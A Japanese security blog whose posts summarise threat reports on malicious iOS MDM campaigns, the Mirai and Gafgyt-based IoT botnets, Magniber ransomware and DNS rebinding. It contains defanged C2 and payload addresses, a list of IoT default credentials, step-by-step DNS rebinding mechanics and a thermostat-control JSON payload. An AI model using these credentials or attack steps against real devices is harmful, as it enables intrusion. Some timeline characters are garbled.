  • 3台中の2台はインドの電話番号であり、そのうち一台は先日の記事で紹介した標的型攻撃に使用された攻撃者の番号。
  • 残りの1台はイギリスの電話番号で、カタールに位置する携帯電話のもの。

さらに、Talosによるログ分析によれば、標的型攻撃に用いられたMDMツールが作られたのは2018年1月で、同年3月から使用されているようです。

 

さて、ここまでMDMサーバーに関する情報を解説してきましたが、実はMDMサーバーから配布されるマルウェアには、前回の記事で紹介したようなTelegramやWhatsAppだけでなく、他の細工されたiOSアプリも含まれていたようです。

続いてのセクションでは、 新しく確認されたiOSマルウェアを数点紹介していきます。

 

iOSマルウェアも確認

”ニセ”TelegramとWhatsApp

まずはじめに、Talosは、メッセンジャーアプリであるTelegramとWhatsAppを装うマルウェアを発見しました。

先日の記事でも指摘した通り、攻撃者は既存のTelegramとWhatsAppアプリに修正を加えたようです。

ただ、前回バージョンと比較して、今回発見された細工されたTelegramとWhatsAppに記載されているC2サーバーのURLが「難読化されていた」と指摘しています。

以下の画像は、実際にソースコード内に記載されている難読化されたURLです。

難読化されたURL

(難読化されたC2サーバーのURL。Advanced Mobile Malware Campaign in India uses Malicious MDM - Part 2)

また、DESキーも記載されています。

DESキー

(ソースコードに記載されたDESキー。Advanced Mobile Malware Campaign in India uses Malicious MDM - Part 2)

 

以上の難読化されたURLをデコード・復号化すると、以下のURLになるようです。

./decode.py vZVI2iNWGCxO+FV6g46LZ8Sdg7YOLirR/BmfykogvcLhVPjqlJ4jsQ== '&%^*#@!$'
hxxp://hytechmart[.]com/UcSmCMbYECELdbe/

 

”ニセ”IMO

続いて、Talosが発見したIMOマルウェアについて説明していきます。

IMOとは、チャットやビデオコールも出来るアプリの事です。前のセクションで紹介したWhatsAppや、LINE、Facebook MessengerのようなアプリもIMOに含まれます。

攻撃者はBOptions sideloadning techniqueという手法を使って細工されたコードをIMOアプリに注入したと見られています。

前のセクションで紹介したようにC2サーバーのURLには難読化処理がされており、ニセのIMOは被害者の連絡先情報や、会話履歴を盗み取るようです。

 

マルウェアSafariブラウザ

前セクションで説明した「偽IMOアプリ」に加えて、攻撃者によって細工されたSafariブラウザもMDMツールによって配布されているとTalosは公表しました。

攻撃者によって細工・配布されたSafariマルウェアは、以下のオープンソースプロジェクトで公開されているソースコードをベースに作成されたと指摘されています。

攻撃者この細工したSafariブラウザを使用する目的は、「個人情報の窃取」です。

以下に、攻撃者がSafariマルウェアを使って個人情報を窃取する手順を紹介します。

  1. まずSafariマルウェアは端末のUUIDをC2サーバーに送信。
  2. サーバーのレスポンスによって、Safariマルウェアは追加の情報をC2サーバーへ送信する。この時送信される情報はユーザープロフィール（名前、写真、メールアドレス、郵便番号など）。
  3. マルウェアは”hib.txt”というファイルをチェックし、該当ファイルが存在しない場合iTunesログインページを表示する
  4. ユーザーにApple IDとパスワードを入力させ、それらをC2サーバーへ送信する。

ここで興味深いのは、ステップ４です。

実はステップ４で入力されたApple IDとパスワードの中に、特定の文字列が含まれていた場合、入力されたApple IDに含まれる”＠以前の文字列（アカウント）”を抽出するのです。

その特定の文字列とは、以下のような有名Webサービスと紐付いている文字列とされています。

恐らくこの機能が実装されているのは、Apple IDとパスワードと同じ値を使用して他のWebサービスを利用しているユーザーを標的にしている事が理由だと思われます。

抽出したアカウントとパスワードを使用して、以上のようなWebサービスの認証を自動で行い、更に個人情報を取得しようと試みているのでしょう。

まとめ

この記事では、先日紹介したMDMツールを使って１３人を標的にマルウェアが配布するサイバー攻撃に関する追加情報を解説しました。

こちらのブログ記事でTalosが調査・公表した内容に基づいて、以下のポイントに絞って当記事を作成しました。

Talosが公表した調査によれば、本件のMDMツールを用いてマルウェアを配布するプロジェクトは、過去のあるサイバー攻撃キャンペーンと関連性があることが指摘されています。

その関連性については、後日紹介することにします。

「待てない！」という方は、以下からTalosの原文レポートを読んでみてください。

Talosのブログ記事を読む

 

（執筆：Ichi (@0x31_nose) | Twitter ) 

 

 

IoTボットネットの第二波？MiraiとGafgytの亜種ボットネットの検知数が増加

ボットネット 脆弱性

f:id:nanashi0x:20180725205341p:plain

Illustrations by Vecteezy!

researchcenter.paloaltonetworks.com

 

IoTボットネットによる攻撃の第二波が来ているようです。

Miraiとは、これまでの歴史を見ても最大級のDDoS攻撃を引き起こしたボットネットのこと。

Miraiが拡散した要因となったのは、2016年10月に最初に出現した直後にソースコードが漏洩でした。これを境に、WickedやOmniといった「Miraiの亜種」であるボットネットも次々と誕生しています。

一方、Gafgytは、2014年に最初に発見され、その後2015年初頭にソースコードが漏洩しました。ちなみにGafgytは、Bashlite、Lizkebab、Torlusとも呼ばれるようですが、全て同じボットネットを意味しています。

実は、PaloAltoネットワークスのセキュリティ研究者グループであるUnit42によれば、「Mirai」と「Gafgyt」の2種類をベースにしたボットネットの亜種によるDDoS攻撃の検知数が、「最近になって増加している」ようです。

しかも、「Mirai」と「Gafgyt」の亜種であるボットネットには、以下のような名前がつけられているとされています。

  • OMNI　ーー　Miraiベース
  • OKANE　ーー　Miraiベース
  • HAKAI　ーー　Gafgytベース

（心の声：何故いつも、日本語が好まれるのでしょうか・・・。笑）

 

そこで、この記事では、Unit42によって公表されたMiraiとGafgytのDDoS攻撃について、”OMNI”、”OKANE”、”HAKAI”ボットネットを利用した「ボットネットキャンペーン」に関して、以下のポイントに絞って解説していきます。

  • 機器をエクスプロイトする手法
  • ターゲットとする機器や脆弱性
  • ペイロード配布元・C2サーバーのアドレス

 

OMNIボットネットについて

OMNIボットネットがエクスプロイトする脆弱性とは

OMNIボットネットが発見されたのは、2018年5月のことです。

Draan GPONルータに存在する、以下の2つの脆弱性をエクスプロイトしてボットネットを拡大していきました。

  1. エクスプロイトすると認証バイパスを可能にする脆弱性（CVE-2018-10561）
  2. コマンドインジェクションを可能にする脆弱性（CVE-2018-1562）

上記2つの脆弱性を組み合わせてエクスプロイトを行うと、①認証されていないリモートの攻撃者から、②脆弱なデバイスに送信されたコマンドの実行が可能となっていました。

そしてOMNIは更に進化を遂げ、本来ターゲットとしていたDraan GPONルータだけでなく、以下の【テーブル＃１】に示す機器と脆弱性をターゲットに拡散しています。

 
OMNIがターゲットとする機器と脆弱性【テーブル＃１】
ターゲット機器 脆弱性情報 エクスプロイト方法
Dasan GPONルーター CVE-2018-10561, CVE-2018-10562
認証バイパス・コマンドインジェクション
Realtek SDKを搭載するルータ
Miniigd UPnP SOAP
コマンド実行
Netgearルーター（DGN1000 ）
コマンド実行
Huawei HG532 CVE-2017-17215 
Miniigd UPnP SOAPコマンド実行
Eir D1000ルーター

Eir WAN Sideリモート

コマンドインジェクション
Miniigd UPnP SOAPコマンド実行
D-Linkデバイス

CVE-2015-2051
HNAP SOAPAction-Header
コマンド実行

CCTVs, DVRs

（70ベンダ以上）

Multiple CCTV-DVR
リモートコマンド実行
MVPower DVR

MVPower DVR TV-7104HE 1.8.4 115215B9
シェルコマンド実行
D-Linkデバイス

D-Link Devices - UPnP SOAP TelnetD 
コマンド実行
Netgearルーター （R7000/R6400）

Multiple CCTV-DVRリモートコマンド実行
リモートコマンド実行
Vacron NVRデバイス

Vacron NVRリモートコマンド実行
リモートコマンド実行

 

これまでとは一味ちがうOMNI

元々ターゲットにしていたのはDasan GPONルーターだけであったにも関わらず、最初の発見からわずか2ヶ月あまりで10種類もの機器をターゲットとして新たに追加したのです。

また、鋭い読者さんならお気づきでしょうが、今まで確認されたMiraiベースのボットネットは「デフォルト認証情報のブルートフォース攻撃」を使って機器のエクスプロイトを行っていました。

つまり、かつては「IDやパスワードがデフォルト設定のまま運用されている機器」をターゲットに感染を広げていたのでした。

したがって、OMNIボットネットによる感染拡大は、ターゲット機器の増加スピードや、ボット化の手法だけをみても、これまでのMirai亜種とは”一味ちがう”ボットネットとなのです。

ペイロードとC2で共通のIPアドレス

ちなみに、OMNIによるキャンペーンでは、ペイロードとC&Cサーバーは、以下のIPアドレスで統一されているようです。

  • 213[.]183.53.120

このIPアドレスですが、Gafgytボットネットの亜種とも同じIPアドレスを用いているようです。これについては、以下のGafgytベースのHAKAIボットネットに関するセクションで後述します。

 

OKANEボットネットについて

続いて、OMNIと同じくMiraiベースであるOKANEボットネットによるキャンペーンに関して説明していきます。

エクスプロイトは従来型と一緒

OKANEボットネットは、機器の脆弱性をエクスプロイトするOMNIと同様に機器の脆弱性をエクスプロイトしますが、更に従来のMirai亜種と同じように「デフォルト認証情報のブルートフォース攻撃」を行って機器を感染させます。

以下のテーブルは、OKANEがターゲットとする機器とそのデフォルト認証情報です。

 

OKANEが狙う機器とそのデフォルト認証情報
ターゲット機器　　 デフォルトID　　 パスワード　　　

Control4

root
t0talc0ntr0l4!
ADC FlexWave Prism admin
adc123
Camtron IPカメラ mg3500
merlin

 

ペイロード配布元のIPアドレス

続いてペイロードが配布されるサーバーのIPアドレスは、以下のIPアドレスである事がわかっています。

  • 46[.]243.189.101

こちらのIPアドレスにあるディレクトリにアクセスすると、以下のような画面が表示されます。

f:id:nanashi0x:20180725213733p:plain

(ペイロードのダウンロード元。Unit 42 Finds New Mirai and Gafgyt IoT/Linux Botnet Campaignsより)

 

hxxp://46[.]243.189.101/gang/からダウンロードされるペイロードは、シェルスクリプトで、端末で実行されると自らをコピーし、OKANEのバイナリファイルを感染端末上にダウンロードします。

また冒頭で簡単に説明した通り、OKANEボットネットも、OMNIボットネットキャンペーンについて解説したセクションに記載した【テーブル＃１】にリストされている機器の脆弱性をエクスプロイトするようです。

 

HAKAIボットネットについて

最後にHAKAIボットネットに関して解説していきます。

まずはじめにHAKAIボットネットが、これまで解説したOMNIやOKANEと決定的に違う点は、Gafgytボットネットのソースコードをベースに作成された点であることです。

次に、HAKAIボットネットがエクスプロイトする脆弱性は、OMNIボットネットを解説したセクションに記載されている【テーブル＃１】にリストされている脆弱性です。

ただし注意して頂きたいのが、UPnP SOAP TelnetDをエクスプロイトしてコマンド実行を発生させる脆弱性は除きます。

また、ペイロードの配布元、C2サーバーの位置を示すアドレスは以下になります。

 

まとめ

この記事では、最近また活発化し始めた３種類のボットネット（OMNI、OKANE、HAKAI）に関して、以下の観点で説明しました。

  • 機器をエクスプロイトする手法
  • ターゲットとする機器や脆弱性
  • ペイロード配布元・C2サーバーのアドレス

今後IoT機器が増加していくにつれて、IoT機器を狙った攻撃も増えていく事が考えられます。

各メーカーや、様々なIT企業としてもIoT機器のセキュリティについて熟知している専門家が求められていく事でしょう。

IoT機器をそうした脅威から守るためには、攻撃手法に関して理解する事が必要となります。

黒林檎 (@r00tapple) さんが書かれて、ちょうど２０１８年７月１９日に発売されたIoTハッキングの教科書では、IoT機器のハッキング手法が解説されています。

興味ある方はこの夏にIoTハッキング手法を学んで、今後必ず増加するIoTハッキングの脅威に備えていきましょう。

ハッカーの学校 IoTハッキングの教科書
posted with ヨメレバ
黒林檎,村島 正浩 データハウス 2018-07-20
Amazon
Kindle
 
参考（外部リンク）

Malwarebytesが2Qレポートを公開。クリプトジャッキングは減少、GandCrabは大流行

業界トレンド・レポート

f:id:nanashi0x:20180723204539p:plain

Vector Illustration by vecteezy.com

Malwarebytesが２Qの脅威動向をまとめたレポートを公表しました。

この記事では、Malwarebytesのレポートに取り上げられている以下の項目に関して解説していきます。

 

Crtyptominingの被害が減少傾向

2018年１Qから２Qにかけて、クリプトマイニングマルウェアの検知数は徐々に減少しました。

f:id:nanashi0x:20180723201327p:plain

（コンシューマ・デスクトップマシン上でのクリプトマイニングマルウェア検知数が減少している。Cyercrime tactices and techniques: Q2 2018より）

 

f:id:nanashi0x:20180723201330p:plain

（エンタープライズデスクトップ端末上でのクリプトマイニングマルウェアの検知数も減少傾向にある）

 

以上のグラフを見るとクリプトマイニングマルウェアの検出数は減少傾向にあるようですが、Malwarebytesによれば、未だにコンシューマ、エンタープライズ両方においてトップ２に入るほどの検出数のようです。

しかし、残念ながら多くの犯罪者は、クリプトマイニングマルウェアから思い通りに収益を得ていないと予想されます。

以下のグラフをご覧ください。

こちらは、Bitcoin、EthereumとMoneroの価格推移を示すグラフです。

2018年1Qから2Qにかけて、急激に値段を落としているのが見て取れます。

f:id:nanashi0x:20180723202102p:plain

（上がBitcoin、下がEthereumとMoneroの値段推移を示すグラフ。Cyercrime tactices and techniques: Q2 2018より）

 

マイニングによって採掘出来る仮想通貨であるBitcoin、Ethereum、Moneroが軒並み値段を下げていますが、冒頭で紹介したクリプトマイニングマルウェアの検出数の減少に合わせて検出数が減少しているように見えます。

以上の事から、「クリプトマイニングマルウェアの検出数と、仮想通貨の価格は相関関係にある」と言ってもいいでしょう。

今後、仮想通貨の値段がどのように推移して行くか不明ですが、仮想通貨の値段がもし上がれば、クリプトマイニングマルウェアの被害も同様に増えて行くことが予想されます。

クリプトマイニングマルウェアによる検出数が減少していますが、他にも、これまで確認されているWindows/Macマルウェアの亜種であったり、他のブラウザベースのマイニングAPIへの多様化、新しいサーバーサイドの攻撃が検出されているようです。

恐らくサイバー犯罪者は、クリプトマイニングマルウェアを使っても稼げなくなった事から、新しい攻撃方法を試し続けているのでしょう。

 

GandCrabランサムウェアがランサムウェアの王様

GandCrabは、現在ネットで大流行しているランサムウェアの亜種です。

この信じられないほど普及した複数のスパムキャンペーンのペイロードは、Q1で電子メールで拡散されていました。

しかしQ2になってから、Magnitudeエクスプロイトキットに含まれるようになりGandCrabはより広範囲に拡散されるようになりました。

f:id:nanashi0x:20180723205803p:plain

(Magnitudeエクスプロイトキットのトラフィックキャプチャデータ。Cyercrime tactices and techniques: Q2 2018より)

Gandcrabが特に顕著に拡散されていた中、他のランサムウェアであるSamSamやSpartacusのような２Qで登場し、サイバーセキュリティの脅威として注目されていました。

狙われるPIIの種類に変化

Malwarebytesのレポートによれば、Q2においては、個人情報（PII）がターゲットになるケースが増えている事が示さています。

盗み出されていたPIIの種別ですが、1Q、２Qにおいては、Bitcoinをはじめとする暗号通貨のWallet情報を盗み出すケースが頻発していました。

その理由としては、以下のようなポイントが挙げられます。

  1. 暗号通貨業界に対する規制の甘さ
  2. マクロ・ミクロに関わらず詐欺防止策の不徹底さ
  3. 暗号通貨取引所のサポート体制の欠如

そして、以上の理由からBitcoinをはじめとする暗号通貨のWallet情報を盗み出すためのソーシャルエンジニアリングが数多く行われていました。

さらにMalwarebytesのレポートでは、今後の2018年の3Q、4QにおいてもPIIの窃取を狙った事例が増加していく事が予想されています。

ですが、これまでPII窃取の犠牲者の大半を締めていた「暗号通貨Wallet情報の窃取」は減少していくでしょう。

なぜなら、世界中の政府が暗号通貨取引所に対してKYC（＝Know your customer）制度を実施するよう規制し、暗号通貨取引所のセキュリティ対策も強化されているからです。

しかし、先日強化されたGDPRについては、暗号通貨Wallet情報以外のPII窃取を加速させるかもしれません。

EU圏に位置するIT企業に対して個人データの取扱いが強化された事で、より個人情報データの入手難易度が上昇した結果、闇市場でやり取りされる個人情報の価値が相対的に上昇してしまうからです。

まとめ

この記事では、Malwarebytesが公開した２０１８年２Q脅威動向レポートに関して、私が気になる以下の点をハイライトして解説しました。

  1. 減少傾向にあるクリプトマイニング
  2. GandCrabの検知数が顕著だった
  3. ターゲットにされるPIIの種類に変化の兆し

すでに3Qに入っていますが、Magniberランサムウェアがターゲット言語を広げていたり、流行りのMDMツールを悪用した標的型攻撃も確認されています。

引き続き、当ブログではセキュリティ業界の動向を追いかけていきます。

Ichi(@0x31_nose)

DNS Rebindingを悪用してインターネットからプライベートネットワークへの攻撃

脆弱性

f:id:nanashi0x:20180723194055p:plain

Illustration credit: www.vecteezy.com

medium.com

 

10年以上も前から存在するDNS Rebindingという攻撃をご存知でしょうか？

最初は2007年に公表され、日本でもBlack Hat Japan 2007で金床(かなとこ）氏により「DNS PinningとソケットAPIについて」というタイトルで発表されました。

Brannon Dorsey氏が先日投稿した記事によると、この手法を使ってプライベートネットワーク上のIoT機器やルータを、攻撃者が自由自在コントロール出来るようになってしまうのです。

ですが、一体DNS Rebindingとは、どのような攻撃なのか説明できますか？

この記事では、Brannon Dorsey氏が発見した攻撃手法について、以下の順に説明していきます。

  1. DNS Rebindingとは
  2. DNS Rebindingを活用した攻撃事例
  3. DNS Rebindingの影響範囲
  4. DNS Rebidingに対する対策

DNS Rebindingとは

DNS Rebindingを一言で説明すると「DNSを使用して同一生成元ポリシーを回避する攻撃」です。

「同一生成元ポリシー」についての理解なしでは、DNS Rebindingという攻撃手法について全く理解できません。

ですので、簡単に次のセクションで同一生成元ポリシーについて説明します。

同一生成元ポリシー

同一生成元ポリシーとは、あるサイトから呼び出されるリソースが、そのサイトと同一の生成元でないと呼び出せないように制限するものです。

同一の生成元になる条件は、以下の点が全て同一である必要があります。

例えば、hxxp://sample.comとhxxp://sample.com/hogeは上記の条件と合致するため同一の生成元となります。

しかし、hxxp://sample.comとhxxps://sample.com/hogeはhttpとhttpsでプロトコルが異なるため、生成元が異なります。

同一生成元ポリシーが存在する事によって、悪意のあるサイトにアクセスしたユーザが、同時に開いてるGmailなどの他サイトから情報窃取されることを防ぐ事が出来るのです。

更に同一生成元ポリシーに関する詳細な説明が必要であれあ、下記の記事で詳細な説明をご覧ください。

同一オリジンポリシー - Web セキュリティ | MDN

 

DNS Rebinding

続いてDNS Rebindingの説明に移ります。

この記事の冒頭で、DNS RebindingとはDNSを使用して同一生成元ポリシーを回避する攻撃と説明しました。

具体的な手法については後述するため、このセクションでは簡単に説明しますが、前のセクションで説明した通り、同一生成元ポリシーはホストで判断します。

ですので、悪意を持った攻撃者がサイトを用意して、標的サイトとIPアドレスを単純に同一IPアドレスにしても無意味です。

そこでDNS Rebindingでは、「ある工夫」をします。以下、ステップごとに説明していきます。

 

  1. まず攻撃者は、悪意のあるサイトとDNSを用意して、フィッシングメールなどによりターゲットを悪意のあるサイトへ誘導します。
  2. その後、標的ユーザーが悪意のあるサイトのIPを確認してきた時に、攻撃者が用意したDNSでTTLを極端に短くして返答します。
  3. 最後に、TTLが切れて再問合せしてた時に標的サイトのIPを返答します。

 

この様な「ひと工夫」を加える事によって、標的ユーザは標的サイトにアクセスして、標的サイト上のリソースを読み込むことになるのです。

同一生成元ポリシーは違反せずに、攻撃者は標的サイトのリソースを読み込めるようになります。

DNS Rebindingを活用した攻撃事例

続いてこのセクションでは、Brannon Dorsey氏が発見したRadio Thermostat CT50の脆弱性(CVE-2018–11315)を悪用する攻撃手法について説明します。

CVE-2018–11315を悪用する攻撃手法は少し長いため、2つに分割して説明します。

f:id:anoymask:20180721235344p:plain

図１　CVE-2018-11315の攻撃手法（その１）



ここでお断りしておきたいのですが、この攻撃は、攻撃者が「悪意のあるサイト」と「DNS」を用意していることが前提で発生します。

それでは以下、攻撃事例の各ステップに関して説明していきます。

 

ステップ１．細工されたサイトへアクセスさせる

XXS（クロスサイトスクリプティング）などにより、細工したサイトにアクセスしてきた標的ユーザを攻撃者が用意したサイトへターゲットを誘導します。

ステップ２．用意されたDNSへDNS問い合わせを行わせる

標的ユーザは、攻撃者が用意したDNSへ、IPアドレスを確認するためにDNS問い合わせを行います。

ステップ３．DNS問い合わせに対する返答

攻撃者は用意したDNSで、標的ユーザのDNS問い合わせに対してTTLを1sに設定して返答。TTLを短くするよう設定されているので、標的ユーザはIPを長い間キャッシュ出来ず、再度DNSへ問い合わせしに行かざるを得なくなります。

ステップ４．用意されたサイトへアクセス

標的ユーザはDNS問い合わせしたことにより、攻撃者が用意したサイトのIPアドレスが分かったためアクセスします。

ステップ５．悪意のあるJavascrptiの実行

攻撃者は標的ユーザがアクセスしてきたら、予め用意していた悪意のあるJavascriptを実行します。

このJavascriptが実行されることにより、標的ユーザはJSON形式の{“tmode”: 1, “a_heat”: 95}を含んだPOSTリクエストを繰り返し送るようになるのです。

 

f:id:anoymask:20180722002538p:plain

図２　CVE-2018-11315の攻撃手法（その２）

ステップ６．用意されたDNSへDNS問い合わせ

TTLが1sに設定されていたため、キャッシュが消えたので再度IPアドレスを確認しに行きます。

ステップ７．DNS問い合わせに対する返答

攻撃者は、2回目の問い合わせでは攻撃者が用意したサイトのIPアドレスではなく、標的ユーザのプライベートネットワーク内にあるRadio Thermostat CT50のIPアドレスを返答します。

ステップ８．POSTリクエストの受付

攻撃者が標的ユーザのRadio Thermostat CT50のIPアドレスを返したため、標的ユーザは先ほどのPOSTリクエストをRadio Thermostat CT50に対して送ります。

その結果、Radio Thermostat CT50はPOSTリクエストに記載されていたJSON形式の{“tmode”: 1, “a_heat”: 95}を受け付けて、部屋の温度を95℃にする事が出来るのです。

また、この手法を使うと、Radio Thermostat CT50に限らず、標的ユーザのプライベートネットワークに存在するあらゆる機器を操作出来てしまうのです。

 

ここまでDNS Rebindingを悪用した実際の攻撃手法に関して説明してきました。続いて次のセクションでは、DNS Rebindingの影響範囲について説明します。

DNS Rebindingの影響範囲

Brannon Dorsey氏は自身のブログで、Radio Thermostat CT50以外にも人気のあるIoT機器(Google Home、Sonos WiFi Speakersなど）を購入して試してみたところ、「攻撃に成功した」と報告しています。

また、Armis社の研究チームが自社のデバイスナレッジベースのデータを使用して、約5億台以上のデバイスが、DNS Rebindingに対して脆弱であるか調査を実施。

その結果、50%以上のIoT機器が脆弱であったと報告しました。

f:id:anoymask:20180722010746p:plain

 (影響を受けるデバイスとその製造業者。DNS Rebinding Exposes Half a Billion Devices in the Enterpriseより)

f:id:anoymask:20180722012418j:plain

  (Armis社顧客データベース内の脆弱なデバイスタイプの内訳。DNS Rebinding Exposes Half a Billion Devices in the Enterpriseより)

DNS Rebidingに対する対策

※この対策は、「本記事で紹介したDNS Rebindingを成功させる条件」にのみに有効なので注意して下さい。

続いてこのセクションでは、Brannon Dorsey氏のブログに記載されている「ユーザができる対策」について説明していきます。

Cisco社のOpenDNS HomeというフリーのDNSサービスを利用することで、プライベートIPのような不審なIPをフィルタリング出来るようになります。

尚、このサービスを有効にするには、ルータのDNS設定をISPのDNSサーバからOpenDNS HomeのDNSサーバへ変更する必要があります。

もし、OpenDNSのようなパブリックDNSサーバを信頼せずに、自分でフィルタリングしたい場合はDnsmasqを使用するか、DD-WRTのようなファームウェアをルータにインストールすると良いでしょう。 

ちなみにBrannon Dorsey氏のブログでは、今回紹介した内容以外にもデモ用のツールが紹介されています。

もし、興味があれば実際にデモ用ツールを動かして見ると面白いでしょう。

 

【参考】

 

Brannon Dorsey氏のブログを読む

（執筆：Anoymask (@UXYEA) | Twitter）

Magniberランサムウェアが進化。中国語圏とマレー語圏にも進出。

ランサムウェア

f:id:nanashi0x:20180717224905p:plain

Graphics by: www.Vecteezy.com

 

Magniberランサムウェアが、以前は韓国のPCをターゲットにしていたにも関わらず、現在は他のアジア諸国にターゲットを広げたようだ。

対象が広がった事に関して、Malwarebytesの研究者は「Magniberのコードが洗練された」とコメントしており、Magniberランサムウェアによる被害が今後更に広がっていく事が予想される。

そこで、この記事では、Magniberを配布するエクスプロイト”Magnitude”に関して簡単に説明しつつ、対象を韓国から他のアジア諸国へと広げた経緯に関して説明していきたい。 

Magniberの歴史 

Magnitudeの動向に関して、以下にタイムラインとしてまとめる。

Magnitudeのタイムライン

  • 2013å¹´: ダークネットで世界的に大流行
  • 2014å¹´: ダークネットの市場から姿を消した。（個人間で使われていた。）
  • 2016å¹´6月頃: ターゲットをアジア諸国に変更し、Lockyã‚„Cerber等のランサムウェアを配布。
  • 2017å¹´9月23æ—¥: 再度市場から姿を消す。
  • 2017å¹´10月15æ—¥: 再び市場に現れ、Magniberの配布を開始した。

Magniberの主なターゲットは韓国とされており、主な感染経路はマルヴァタイジング（悪意のある広告）であった。

攻撃方法についてだが、一般的なサイバー攻撃キャンペーンのやり口を踏襲しており、ターゲットの地理情報とクライアントのIPアドレスを使ってフィルター分けし、セキュリティ研究者の目に止まらないように攻撃を行っている。

2017年末の段階では、脆弱性(CVE-2016-0189)をエクスプロイトしていた。

CVE-2016-0189は、2016年5月にパッチされたIEの脆弱性で、メモリーコラプションを引き起こす可能性がある脆弱性である。

過去に、Magnitudeエクスプロイトキットが配布してきたLockyランサムウェアなどはターゲットの住む場所に関係がなかったのだが、メインターゲットは韓国のみとされていた。

 

対象が「韓国」のみならず「アジア諸国」へ

2018年7月になってからMagniberの作成者は、マルウェアの感染を「韓国」から「アジア諸国」へ感染するように大幅に修正を加えた。

もともとMagnierは、特定の国コードが返された場合にのみインストールされる設定になっていた。

具体的に言えば、2017年時点では韓国の国コードが返された場合にインストールされる設定だったものが、2018年7月になって新たに以下の言語圏もターゲットに加えたのだ。

  1. 中国語圏（主に、マカオ、中国、シンガポール）
  2. マレー語圏（主に、マレーシア、ブルネイ）

対象範囲を拡大する変更がMagniberに加えられたのが発見されたのは、2018年7月5日の事であったようだ。

以下に、セキュリティ研究者グループのTwitterアカウント、MalwareHunterTeamのツイートを翻訳も合わせて引用する。

(Tweetの翻訳)

しばらく韓国をターゲットにしていたが、Magniberランサムウェアはグローバルな脅威だ。

ここ数日台湾と香港に居住する被害者が確認されており、他の国からも感染被害を確認。

興味深いな…🤔

 

さらに洗練されたMagniber

Magniberに変更が加えられたのを受けて、Malwarebytesは解析を実施。公表したテクニカルレポートには、以下のような事実が記載されている。

  • ソースコードは非常に洗練され、様々な難読化手法を利用している。
  • 暗号化する際に暗号鍵をC2サーバーから取得せず、暗号プロセスの中にインターネットから独立している攻撃者のパブリックRSAキーが付属している。
  • 付属しているRSAキーは、ファイルを暗号化するために使用されるユニークなAES鍵を保護する目的で使われる。 

MalwarebytesのテクニカルレポートにペイロードやIOCに関する情報がまとめられているので、興味があれば読んでみるといいだろう。

 

参考（外部リンク）

Â